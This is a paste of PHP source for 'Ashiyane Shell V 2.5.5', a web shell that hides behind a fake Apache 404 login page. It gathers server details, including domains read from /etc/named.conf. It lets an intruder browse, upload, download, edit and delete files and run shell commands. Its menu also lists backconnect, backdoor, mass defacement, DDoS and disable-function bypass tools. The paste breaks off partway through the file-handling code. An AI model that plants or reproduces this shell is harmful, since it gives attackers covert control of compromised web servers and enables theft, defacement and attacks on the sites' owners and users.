· 10 years ago · Jan 15, 2016, 08:50 PM
1<?php
2
3//Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
4$auth_pass = "";
5@session_start();
6function Login() {
7 die("<title>404 Not Found</title><h1>Not Found</h1>
8<p>The requested URL was not found on this server.</p>
9<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
10<hr>
11<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
12 <style>
13 input { margin:0;background-color:#fff;border:1px solid #fff; }
14 </style>
15 <pre align=center>
16 <form method=post>
17 <input type=password name=pass>
18 </form></pre>");
19}
20if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))
21 if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
22 $_SESSION[$_SERVER['HTTP_HOST']] = true;
23 else
24 Login();
25
26//Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
27/*
28 __ __ _ _ _ _ _ _ _ _
29| \/ | __ _| |__ __| (_) | | | (_) __| | __| | ___ _ __
30| |\/| |/ _ | _ \ / _` | | | |_| | |/ _` |/ _` |/ _ \ _ \
31| | | | (_| | | | | (_| | |_| _ | | (_| | (_| | __/ | | |
32|_| |_|\__ _|_| |_|\__ _|_(_)_| |_|_|\__ _|\__ _|\___|_| |_| ASHIYANE SHELL V 2.5.5
33
34
35*/
36ob_start();
37if(!isset($_GET['action']) or $_GET['action']==""){
38
39
40 header("location: ?action=explorer");
41
42
43}
44if(isset($_GET["hiddenshell"])){
45
46exit;}
47if(ini_get("safe_mode")=="1"){
48 $safemode="<font color=red>ON</font>";
49} else{
50 $safemode="<font color=#0F0>OFF</font>";
51}
52if(ini_get("disable_functions")==""){
53 $disable_functions="<font color=#0F0>NONE</font>";
54} else{
55 $disable_functions=ini_get("disable_functions");
56}
57if(!function_exists('posix_getegid'))
58{
59$gid = @getmygid();
60$group = "?";
61} else
62{
63$uid = @posix_getpwuid(posix_geteuid());
64$gid = @posix_getgrgid(posix_getegid());
65$group = $gid['name'];
66$gid = $gid['gid'];
67}
68
69//Start
70
71$on="<font color=#0F0> ON </font>";
72$of="<font color=red> OFF </font>";
73$none="<font color=#0F0> NONE </font>";
74if(function_exists('curl_version'))
75$curl=$on;
76else
77$curl=$of;
78if(function_exists('mysql_get_client_info'))
79$mysql=$on;
80else
81$mysql=$of;
82if(function_exists('mssql_connect'))
83$mssql=$on;
84else
85$mssql=$of;
86if(function_exists('pg_connect'))
87$pg=$on;
88else
89$pg=$of;
90if(function_exists('oci_connect'))
91$or=$on;
92else
93$or=$of;
94if(@ini_get('open_basedir'))
95$open_b=@ini_get('open_basedir');
96else
97$open_b=$none;
98
99//End
100
101function magicboom($text){
102 if (!get_magic_quotes_gpc()){
103 return $text;
104 }
105 return stripslashes($text);
106 }
107
108function perms($p) {
109if (($p & 0xC000) == 0xC000)$i = 's';
110elseif (($p & 0xA000) == 0xA000)$i = 'l';
111elseif (($p & 0x8000) == 0x8000)$i = '-';
112elseif (($p & 0x6000) == 0x6000)$i = 'b';
113elseif (($p & 0x4000) == 0x4000)$i = 'd';
114elseif (($p & 0x2000) == 0x2000)$i = 'c';
115elseif (($p & 0x1000) == 0x1000)$i = 'p';
116else $i = 'u';
117$i .= (($p & 0x0100) ? 'r' : '-');
118$i .= (($p & 0x0080) ? 'w' : '-');
119$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
120$i .= (($p & 0x0020) ? 'r' : '-');
121$i .= (($p & 0x0010) ? 'w' : '-');
122$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
123$i .= (($p & 0x0004) ? 'r' : '-');
124$i .= (($p & 0x0002) ? 'w' : '-');
125$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
126return $i;
127}
128function permsColor($f) {
129if (!@is_readable($f))
130return '<font color=#FF0000>' . perms(@fileperms($f)) . '</font>';
131elseif (!@is_writable($f))
132return '<font color=white>' . perms(@fileperms($f)) . '</font>';
133else
134return '<font color=#25ff00>' . perms(@fileperms($f)) . '</font>';
135}
136function size($s) {
137if($s >= 1073741824)
138return sprintf('%1.2f', $s / 1073741824 ). ' GB';
139elseif($s >= 1048576)
140return sprintf('%1.2f', $s / 1048576 ) . ' MB';
141elseif($s >= 1024)
142return sprintf('%1.2f', $s / 1024 ) . ' KB';
143else
144return $s . ' B';
145}
146if (strtolower(substr(PHP_OS,0,3))=="win")
147$sys='win';
148else
149$sys='unix';
150$home_path = @getcwd();
151$path = @getcwd();
152if($sys == 'win')
153{
154$home_path = str_replace("\\", "/", $home_path);
155$path = str_replace("\\", "/", $path);
156}
157
158if(empty($_GET['dir'])){
159
160$path=(dirname($_SERVER['SCRIPT_FILENAME']));
161} else{
162 $path=(htmlspecialchars($_GET['dir']));
163}
164
165if($path[strlen($path)-1] != '/' )
166$path .= '/';
167$cwd_links = '';
168$path1 = explode("/", $GLOBALS['path']);
169$n=count($path1);
170for($i=0; $i<$n-1; $i++) {
171$cwd_links .= "<a href='?action=explorer&dir=";
172for($j=0; $j<=$i; $j++)
173$cwd_links .= $path1[$j].'/';
174$cwd_links .= "'>".$path1[$i]."/</a>";
175}
176
177
178
179$drives = "";
180foreach(range('C','Z') as $drive) {
181if(is_dir($drive.':\\')){
182$fso = new COM('Scripting.FileSystemObject');
183$D = $fso->Drives;
184$Dr = $fso->GetDrive($drive);
185if ($Dr->IsReady ) {
186$drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ '.$drive.' ]</a> ';
187}
188else {
189$drives .= '<a href="?action=explorer&dir='.$drive.":".'">[ CD-Rom : '.$drive.' ]</a> ';
190}
191}
192}
193
194if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
195function posix_getpwuid($p) {return false;} }
196if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
197function posix_getgrgid($p) {return false;} }
198
199
200
201?>
202<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
203<html xmlns="http://www.w3.org/1999/xhtml">
204<!--
205
206 __ __ _ _ _ _ _ _ _ _
207| \/ | __ _| |__ __| (_) | | | (_) __| | __| | ___ _ __
208| |\/| |/ _ | _ \ / _` | | | |_| | |/ _` |/ _` |/ _ \ _ \
209| | | | (_| | | | | (_| | |_| _ | | (_| | (_| | __/ | | |
210|_| |_|\__ _|_| |_|\__ _|_(_)_| |_|_|\__ _|\__ _|\___|_| |_| ASHIYANE SHELL V 2.5.5
211
212
213Coded By Mahdi.Hidden
214-->
215<head>
216<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
217<link href="http://ashiyane.org/aboutus/images/logo2.png" rel="icon" type="image/x-icon"/>
218<title>.:: <?php echo $_SERVER['HTTP_HOST']; ?> ~ Ashiyane V 2.5.5 ::.</title>
219<style>
220.header ul li{
221 float:left;
222 list-style:none;
223 margin-left:20px;
224}
225.header{
226 text-align:left;
227}
228.clear{
229 clear:both;
230}
231
232.top {
233 margin-left: 100px;
234}
235.body {
236 width: 1000px;
237 margin: 0 auto;
238 text-align:center;
239 font-family: calibri;
240}
241.explorer{
242 text-align:left;
243}
244
245.top {
246 margin-left: 100px;
247}
248.body {
249 width: 1000px;
250 margin: 0 auto;
251}
252.title {
253 color: red;
254}
255body {
256 background-color: #000;
257 font-family: calibri;
258 color: white;
259 text-align: center;
260}
261hr {
262 border: solid #454545 1px;
263}
264ul {
265 padding: 0;
266 margin: 0;
267}
268ul li {
269 list-style: none;
270 padding: 8px;
271 margin: 2px;
272 background: #2677B4;
273 color: #000;
274 font-weight: bold;
275 cursor: pointer;
276}
277ul li:hover {
278 background: #1D97F3;
279}
280ul a li {
281 color: #fff;
282 text-shadow: 0 0 5px #000;
283}
284ul li a{
285 color: #000;
286}
287a {
288 color: #fff;
289 text-decoration: none;
290}
291input {
292 padding: 10px;
293}
294#hover tr:hover{
295background-color:#646464;
296}
297#navigation{position:fixed;left:-16px;top:46%;}
298#totop,#tobottom{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==);width:32px;height:32px;opacity:0.30;margin:12px 0;}
299#totop:hover,#tobottom:hover{opacity:0.80;}
300#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
301hr{
302 margin-left:-10px;
303 border-color:#2677B4;
304}
305</style>
306<script type='text/javascript'>
307var d = document;
308var scroll = false;
309function totop(){
310 if(!scroll){
311 var dur = window.pageYOffset;
312 scroll = true;
313 scrollto(0, dur);
314 }
315}
316function totopd(){
317 d.body.scrollTop = d.documentElement.scrollTop = 0;
318 stopscroll();
319}
320function tobottom(){
321 if(!scroll){
322 var dur = getheight()-window.pageYOffset;
323 scroll = true;
324 scrollto(getheight(), dur);
325 }
326}
327function tobottomd(){
328 d.body.scrollTop = d.documentElement.scrollTop = getheight();
329 stopscroll();
330}
331function stopscroll(){
332 scroll = false;
333 clearTimeout(timer);
334}
335function scrollto(to, dur) {
336 var start = d.documentElement.scrollTop + d.body.scrollTop, change = to - start, cur = 0, inc = 20;
337 var anim = function(){
338 if(scroll){
339 cur += inc;
340 var val = easing(cur, start, change, dur);
341 d.body.scrollTop = d.documentElement.scrollTop = val;
342 if(cur < dur) {
343 if(scroll) timer = setTimeout(anim, inc);
344 }
345 else stopscroll();
346 }
347 };
348 anim();
349}
350function easing(t,b,c,e){
351 return -c * Math.cos(t/e * (Math.PI/2)) + c + b;
352}
353function getheight(){
354 return Math.max(
355 d.body.scrollHeight, d.documentElement.scrollHeight,
356 d.body.offsetHeight, d.documentElement.offsetHeight,
357 d.body.clientHeight, d.documentElement.clientHeight
358 );
359}
360</script>
361</head>
362
363<body>
364
365<div id="navigation">
366 <div id="totop" onClick="totopd();" onMouseOver="totop();" onMouseOut="stopscroll();"></div>
367 <div id="tobottom" onClick="tobottomd();" onMouseOver="tobottom();" onMouseOut="stopscroll();"></div>
368</div>
369
370
371
372<div style="border:4px #2677B4 solid">
373<div style="
374 animation: 1s ease 0s normal forwards 1 alert;
375 background-color: #2677B4;
376 background-image: linear-gradient(135deg, transparent, transparent 25%, rgba(0, 0, 0, 0.1) 25%, rgba(0, 0, 0, 0.1) 50%, transparent 50%, transparent 75%, rgba(0, 0, 0, 0.1) 75%, rgba(0, 0, 0, 0.1));
377 background-size: 20px 20px;
378 box-shadow: 0px 5px 0px rgba(0, 0, 0, 0.1);
379 color: #F6F6F6;
380 display: block;
381 font: bold 16px/40px sans-serif;
382 height: 40px;
383 position: relative;
384 text-align: center;
385 text-decoration: none;
386 width: 100%;
387">
388Ashiyane Sheller V 2.5.5
389</div>
390<div style="margin-left:10px;">
391
392<div id="main">
393<div class="header">
394<div style="float:left;min-width:900px;max-width:900px;"><br />
395<span style="">Server IP: <?php echo $_SERVER['SERVER_ADDR']; ?></span>
396<span style="">Your IP: <?php echo $_SERVER['REMOTE_ADDR']; ?></span><br />
397<span style="">System: <?php echo php_uname(); ?></span><br />
398<span style="">Software: <?php echo getenv("SERVER_SOFTWARE"); ?></span><br />
399<span style="">User: <?php echo get_current_user()." "; ?></span><span>Group: <?php echo $gid ." [ $group ] ";?></span><br />
400<span>PHP: <?php echo @phpversion(); ?></span><br />
401<span style="">Safemode: <?php echo $safemode; ?></span><br />
402<span style="">Disable_Functions: <?php echo $disable_functions; ?></span><br />
403<!--<span style="">Path: <?php //echo $path; ?></span><br />-->
404<span>CURL:</span><?php echo $curl; ?><span>MySQL:</span><?php echo $mysql; ?><span>MsSQL:</span><?php echo $mssql; ?><span>PostgreSQL:</span><?php echo $pg?><span>Oracle:</span><?php echo $or?><br />
405<span>Open_Basedir: <?php echo $open_b;?></span><BR />
406<span>Domains:</span>
407<?php
408if($GLOBALS['sys']=='unix')
409{
410$d0mains = @file("/etc/named.conf");
411if(!$d0mains)
412{
413echo "CANT READ named.conf";
414}
415else
416{
417$count;
418foreach($d0mains as $d0main)
419{
420if(@ereg("zone",$d0main))
421{
422preg_match_all('#zone "(.*)"#', $d0main, $domains);
423flush();
424if(strlen(trim($domains[1][0])) > 2){
425flush();
426$count++;
427}
428}
429}
430echo "$count Domains";
431}
432}
433else{ echo"CANT READ |Windows|";}
434?>
435<br />
436<?php
437echo '<tr>
438<td height="12"><span>Path:</span></td>
439<td colspan="2">'.$cwd_links.' <a href="?action=explorer&dir='.$GLOBALS['home_path'].'"><font color=red >| Home Directory |</font></a></td>
440</tr>';
441?><br />
442<span style=""><?php echo $drives; ?></span><br />
443<br />
444</div>
445<div style="float:left;margin-left:100px;"><br /><br />
446<div style="font-size:20px;color:red">
447<img src="http://ashiyane.org/aboutus/images/logo2.png" />
448</div>
449</div>
450
451<div class="clear"></div><hr style="margin-left:-10px;background:#2677B4" />
452<ul>
453<li><a href="?action=explorer&dir=<?php echo $path ?>">Explorer</a></li><li><a href="?action=terminal&dir=<?php echo $path ?>#down">Terminal</a></li><li><a href="?action=eval&dir=<?php echo $path ?>#down">Eval</a></li><li><a href="?action=basedir&dir=<?php echo $path ?>">Open Basedir</a></li><li><a href="?action=sym&dir=<?php echo $path ?>">Symlinker</a></li><li><a href="?action=cgiashiyane&dir=<?php echo $path ?>#down">CGI - Telnet</a></li><li><a href="?action=sql&dir=<?php echo $path ?>">SQL</a></li><li><a href="?action=zoneh&dir=<?php echo $path ?>">Zone-h Mass Deface Poster</a></li><li><a href="?action=ddoser&dir=<?php echo $path ?>">Ddoser</a></li><li><a href="?action=sqli&dir=<?php echo $path ?>">SQLi Target Finder</a></li><li><a href="?action=backdoor&dir=<?php echo $path ?>">Get Backdoor</a></li><li><a href="?action=mass&dir=<?php echo $path ?>">Mass Defacer</a></li><li><a href="?action=bc&dir=<?php echo $path ?>#down">BackConnect</a></li><li><a href="?action=zipper&dir=<?php echo $path ?>">Zipper</a></li><li><a href="?action=fakemail&dir=<?php echo $path ?>#down">Fake Mail</a></li><li><a href="?action=php2xml&dir=<?php echo $path ?>#down">PHP2XML</a></li><li><a href="?action=disfunc&dir=<?php echo $path ?>">Bypass Disable Functions</a></li><li><a href="?action=hashcracker&dir=<?php echo $path ?>">Hash Cracker</a></li><li><a href="?action=info&dir=<?php echo $path ?>">PHP Info</a><li><a href="?action=aboutus&dir=<?php echo $path ?>">About Us</a></li><li><a href="?action=rmshell">Remove Shell</a></li><li><a href="?action=logout">Logout</a></li></ul>
454
455
456
457<div class="clear"></div>
458</ul>
459</div>
460
461
462</div>
463
464<hr />
465
466
467<?php
468
469if(isset($_GET['action'])){
470
471 $action=htmlspecialchars($_GET['action']);
472
473 if($action=="explorer"){
474 ?>
475 <br />
476 <div class="explorer">
477 <?php
478
479 $files = scandir($path);
480 ?>
481 <table id="hover">
482 <th>File Name</th><th>Size</th><th>Modify</th><th>Owner/Group<th>Permission</th><th colspan=4>Actions</th>
483 <?php
484 $directories = array();
485 $files_list = array();
486
487 foreach($files as $entry){
488 $entry_link=$path.$entry;
489 $entry_link= ($entry_link);
490 if(!is_file($entry_link)){
491 $directories[] = $entry;
492
493
494 } else {
495 $files_list[] = $entry;
496
497 }
498
499 }
500
501
502 ?>
503
504
505 <?php
506 foreach($directories as $directory){
507 $entry_link=$path.$directory;
508 $entry_link= ($entry_link);
509 if($directory!="." && $directory!=".."){
510 ?>
511 <tr><td style="min-width:300px;"><?php
512
513echo "<a href=\"?action=explorer&dir=$entry_link\">| $directory |</a></td>";
514
515 ?>
516 <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
517 <td style="min-width:300px;">
518
519 <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
520
521 </td>
522 <td style="width:300px">
523 <?php
524
525 $ow = @posix_getpwuid(@fileowner($entry_link));
526 $gr = @posix_getgrgid(@filegroup($entry_link));
527
528 echo $ow['name']?$ow['name']:@fileowner($entry_link);
529 echo "/";
530 echo $gr['name']?$gr['name']:@filegroup($entry_link);
531
532
533 ?>
534 <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Edit Permission"><?php echo permsColor($entry_link); ?></a></td>
535 <td><a href="?action=ff&go=rename&file=<?php echo urlencode($directory); ?>&dir=<?php echo $path ?>&f=<?php echo $directory;?>#down" title="Rename">R</a></td>
536 <td><a href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $directory;?>#down" title="Touch">T</a></td>
537 <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
538 </tr>
539 <?php
540
541 }
542 }
543 ?>
544
545 </td>
546 </tr>
547 <?php
548
549 foreach($files_list as $file_list){
550 $entry_link=$path.$file_list;
551 $entry_link= ($entry_link);
552
553 ?><tr><td style="min-width:300px;"><?php
554 echo "<a href=\"?action=ff&go=view&file=$entry_link&dir=$path&f=$file_list#down\">$file_list</a></td>"
555 ;?>
556 <td style="width:150px"><?php echo (is_file($entry_link)?size(filesize($entry_link)):'dir');?></td>
557 <td style="min-width:300px;">
558
559 <?php echo @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $entry_link));?>
560
561 </td>
562 <td style="width:300px">
563 <?php
564
565 $ow = @posix_getpwuid(@fileowner($entry_link));
566 $gr = @posix_getgrgid(@filegroup($entry_link));
567
568 echo $ow['name']?$ow['name']:@fileowner($entry_link);
569 echo "/";
570 echo $gr['name']?$gr['name']:@filegroup($entry_link);
571
572
573 ?>
574 <td style="width:150px"><a href="?action=ff&go=perm&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down"><?php echo permsColor($entry_link); ?></a></td>
575 <td><a title="Rename" href="?action=ff&go=rename&file=<?php echo urlencode($file_list); ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">R</a></td>
576 <td><a title="Touch" href="?action=ff&go=touch&file=<?php echo $entry_link; ?>&dir=<?php echo $path; ?>&f=<?php echo $file_list;?>#down">T</a></td>
577 <td><a title="Edit" href="?action=ff&go=edit&file=<?php echo $entry_link ?>&dir=<?php echo $path ?>&f=<?php echo $file_list;?>#down">E</a></td>
578 <td><a title="Download" href="?action=ff&dir=<?php echo $path?>&go=download&file=<?php echo $entry_link; ?>">D</a></td>
579 <td><a title="Remove" href="?action=ff&dir=<?php echo $path?>&go=delete&f=<?php echo $entry_link ?>">X</a></td>
580
581 </tr>
582 <?php
583 }
584 ?>
585
586
587
588 </table>
589
590<Br /><Br />
591<hr />
592<a name="down"></a>
593<table style="float:left">
594<tr>
595<?php
596
597if(!is_writable($GLOBALS['path']))
598{
599echo "
600<style>
601.dir {
602background-color:red;
603}
604</style>
605";
606}
607
608?>
609<form action="" enctype="multipart/form-data" method="POST">
610<td><span>Select File: </span><input type="file" name="userfile" /><input type="hidden" name="path" value="<?php echo $path ?>" /><input type="hidden" value="upload" name="type" /></td><td><input type="submit" value=">>" />
611</form>
612</td>
613</tr><tr>
614<form action="" enctype="multipart/form-data" method="POST">
615<td><span>Make Folder: </span><input type="hidden" value="makefolder" name="type" /><input type="text" class="dir" name="namefolder" /></td><td><input type="submit" value=">>" />
616</form>
617</td></tr><tr>
618<form action="" enctype="multipart/form-data" method="POST">
619<td><span>Make File: </span><input type="hidden" value="makefile" name="type" /><input type="text" class="dir" name="namefile" /></td><td><input type="submit" value=">>" />
620</form>
621</td></tr></table>
622
623<table style="float:left;margin-left:20px">
624<tr>
625
626<form action="?action=terminal&CMD=shell#down" method="post">
627<td><span>CMD > </span>
628 <input onMouseOver="this.focus();" id="cmd" class="input dir" type="text" name="cmd" style="width:60%;" value="" /></td><td>
629 <input class="inputbutn" type="submit" value=">>" name="submitcmd" /></td>
630
631 </form>
632
633</tr>
634<tr>
635<td>
636<form action="" method="get">
637<span>Change Dir: </span>
638<input type="hidden" name="action" value="explorer" />
639<input type="text" class="dir" name="dir" value="<?php echo $path;?>" />
640</td><td><input type="submit" value=">>" /></td>
641</form>
642</table><div style="clear:both"></div>
643
644<?php
645
646
647if(isset($_POST['type']) && $_POST['type']=="upload"){
648 if(isset($_FILES['userfile'])){
649 $upload_dir=$_POST['path'];
650 $upload_file=$upload_dir."/".basename($_FILES['userfile']['name']);
651
652 if(move_uploaded_file($_FILES['userfile']['tmp_name'],$upload_file)){
653 echo "ok";
654 header("location: ?action=explorer&dir=$path");
655 }
656
657}
658}
659
660if(isset($_POST['type']) && $_POST['type']=="makefolder"){
661
662if(isset($_POST['namefolder']) && $_POST['namefolder']!=""){
663$foldername=$path.$_POST['namefolder'];
664if(mkdir($foldername)){
665 echo "ok";
666 header("location: ?action=explorer&dir=$path");
667} else {
668 echo "can't be make folder";
669}
670} else{
671echo "enter folder name";
672}
673}
674
675if(isset($_POST['type']) && $_POST['type']=="makefile"){
676
677if(isset($_POST['namefile']) && $_POST['namefile']!=""){
678 $fn=$_POST['namefile'];
679$filename=$path.$_POST['namefile'];
680if(!file_exists($filename)){
681if(touch($filename)){
682
683$fp = fopen($filename, "w");
684if ($fp) {
685
686fclose($fp);
687header("location: ?action=ff&go=edit&file=$filename&dir=$path&f=$fn#down");
688}
689
690}
691
692 echo "ok";
693
694} else {
695 echo "can't be make file";
696}
697} else{
698echo "enter file name";
699}
700}
701
702?>
703
704 </div>
705
706 <?php
707
708
709 }
710
711
712 if($action=="ff"){
713
714
715if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="download" && $_GET['file']!='' ){
716
717ob_end_clean();
718$_GET['file'] = urldecode($_GET['file']);
719if(is_file($_GET['file']) && is_readable($_GET['file'])) {
720ob_start("ob_gzhandler", 4096);
721
722header("Content-Disposition: attachment; filename=".basename($_GET['file']));
723if (function_exists("mime_content_type")) {
724$type = mime_content_type($_GET['file']);
725header("Content-Type: " . $type);
726} else {
727header("Content-Type: application/octet-stream");
728}
729$fp = fopen($_GET['file'], "r");
730if($fp) {
731while(!feof($fp))
732echo fread($fp, 1024);
733fclose($fp);
734}
735}exit;
736
737
738}
739ob_start();
740function info(){
741 global $path;
742echo "<style>.info li{list-style:none;float:left;color: #fff;text-shadow: 0px 0px 5px #000;}</style>";
743echo "<ul class=\"info\">";
744$f2 = urlencode($_GET['f']);
745$file2 = $_GET['file'];
746echo "<a href=\"?action=ff&go=rename&file=$file2&dir=$path&f=$f2#down\"><li>Name: ".htmlspecialchars($_GET['f'])."</li></a>";
747if(!is_dir($file2)){
748echo "<a href=\"?action=ff&go=view&file=$file2&dir=$path&f=$f2#down\"><li>View: ".htmlspecialchars($_GET['f'])."</li></a>";
749echo "<a href=\"?action=ff&go=edit&file=$file2&dir=$path&f=$f2#down\"><li>Edit: ".htmlspecialchars($_GET['f'])."</li></a>";
750}
751echo "<a href=\"?action=ff&go=touch&file=$file2&dir=$path&f=$f2#down\"><li>Tuoch: ".@date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $file2))."</li></a>";
752echo "<li>Size: ".(is_file($_GET['file'])?size(filesize($_GET['file'])):'-')."</li>";
753echo "<a href=\"?action=ff&go=perm&file=$file2&dir=$path&f=$f2#down\"><li>Permissions: ".permsColor($_GET['file'])."</li></a>";
754$ow = @posix_getpwuid(@fileowner($_GET['file']));
755$gr = @posix_getgrgid(@filegroup($_GET['file']));
756echo "<li>Owner/Group: ";
757echo $ow['name']?$ow['name']:@fileowner($_GET['file']);
758echo "/";
759echo $gr['name']?$gr['name']:@filegroup($_GET['file']);
760echo "</li>";
761echo "</ul>";
762echo "<div class=\"clear\"></div>";
763
764}
765//Coded By Mahdi.Hidden ~ Ashiyane Digital Security Team
766?>
767<div style="text-align:left">
768<?php
769info();
770?>
771<?php
772if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="rename" ){
773$f3 = $_GET['f'];
774$f4 = $_GET['file'];
775if(isset($_POST['name'])){
776 $nname=$_GET['dir'].$_POST['name'];
777 $nn=$_POST['name'];
778 $oname=$_GET['dir'].$_POST['file'];
779 if(@rename($oname,$nname)){
780 header("location: ?action=ff&go=rename&dir=$path&file=$nname&f=$nn");
781 } else {
782 echo "can't rename";
783 }
784}
785?>
786<a name="down"></a><br><span>Rename File:</span><form action="?action=ff&go=rename&dir=<?php echo $path?>&file=<?php echo $_GET['file'];?>&f=<?php echo $_GET['f'];?>#down" method="post"><input type=text name=name value="<?php echo $_GET['f'];?>"><input type="hidden" name="file" value="<?php echo $_GET['f'];?>"><input type=submit value=">>"></form>
787<?php
788}
789 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="view" && $_GET['file']!="" ){
790echo '<a name="down"></a><span>View File:</span><pre style="border:1px solid #0E304A;padding:5px;margin:0;overflow: auto;">';
791
792$fp = @fopen($_GET['file'], 'r');
793if($fp) {
794while( !@feof($fp) )
795echo htmlspecialchars(@fread($fp, 1024));
796@fclose($fp);
797}
798echo '</pre>';
799
800 }
801 if(isset($_GET['go']) && isset($_GET['f']) && $_GET['go']=="delete" && $_GET['f']!="" ){
802function deleteDir($path) {
803$path = (substr($path,-1)=='/') ? $path:$path.'/';
804$dh = opendir($path);
805while ( ($item = readdir($dh) ) !== false) {
806$item = $path.$item;
807if ( (basename($item) == "..") || (basename($item) == ".") )
808continue;
809$type = filetype($item);
810if ($type == "dir")
811deleteDir($item);
812else
813@unlink($item);
814}
815closedir($dh);
816@rmdir($path);
817}
818if(is_dir(@$_GET['f'])){
819deleteDir(@$_GET['f']);
820header("location: ?action=explorer&dir=$path");
821} else {
822@unlink(@$_GET['f']);
823
824header("location: ?action=explorer&dir=$path");
825}
826 }
827 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="touch" && $_GET['file']!="" ){
828 ?>
829 <a name=\"down\"></a><hr><br><span>Touch: </span> <form action="?action=ff&go=ttouch&dir=<?php echo $path ?>&file=<?php echo $_GET['file'];?>&f=<?php echo $_GET['f'];?>#down" method="post">
830 <input type="hidden" name="f" value="<?php echo $_GET['file'];?>" /><input type="text" name="ttouch" value="<?php echo date("Y-m-d H:i:s", @filemtime($_GET['file'])); ?>" /><input type="submit" value=">>" />
831 </form>
832 <?php
833
834
835 }
836 if(isset($_GET['go']) && isset($_POST['ttouch']) && $_GET['go']=="ttouch" && $_POST['ttouch']!="" ){
837echo "<a name=\"down\"></a><hr><br>";
838$f=$_POST['f'];
839$f2=$_GET['f'];
